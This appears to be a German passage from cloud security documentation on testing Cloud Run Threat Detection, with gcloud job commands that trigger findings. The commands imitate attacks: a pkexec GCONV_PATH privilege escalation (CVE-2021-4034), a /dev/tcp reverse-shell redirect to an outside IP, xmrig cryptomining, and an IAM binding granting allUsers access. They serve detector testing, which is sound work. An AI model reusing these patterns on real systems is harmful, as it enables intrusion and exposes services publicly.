Wenn Sie ein Ergebnis des Typs Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) auslösen möchten, führen Sie eine pkexec-Binärdatei aus, wobei die Umgebungsvariable GCONV_PATH als Nicht-Root-Nutzer festgelegt ist.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) erstellt.
Reverse Shell
Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Reverse-Shell-Ergebnis erstellt.
Ausführung: Cryptomining-Docker-Image
Wenn Sie ein Ergebnis des Typs „Ausführung: Cryptomining-Docker-Image“ auslösen möchten, stellen Sie einen Container mit einem Docker-Image-Namen bereit, der mit Cryptomining-Software verknüpft ist.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Cryptomining-Docker-Image“ erstellt. Beachten Sie, dass die Jobbereitstellung fehlschlägt, da das Image nicht vorhanden ist. Das Ergebnis wird jedoch trotzdem generiert.
Auswirkung: Cryptomining-Befehle
Wenn Sie ein Ergebnis des Typs Impact: Cryptomining Commands auslösen möchten, führen Sie einen Befehl mit Argumenten aus, die denen bekannter Cryptomining-Software ähneln.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Impact: Cryptomining Commands erstellt.
Rechteausweitung: Standardmäßiges Compute Engine-Dienstkonto SetIAMPolicy
Wenn Sie ein Ergebnis des Typs Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy auslösen möchten, führen Sie einen Befehl aus, der das standardmäßige Compute Engine-Dienstkonto verwendet, um die IAM-Richtlinie eines Cloud Run-Dienstes festzulegen.
Erstellen und führen Sie den Cloud Run-Job aus:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Bei diesem Testverfahren wird ein Ergebnis des Typs Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy erstellt.
Nächste Schritte
- Weitere Informationen zu Cloud Run Threat Detection.
- Informationen zur Verwendung von Cloud Run Threat Detection .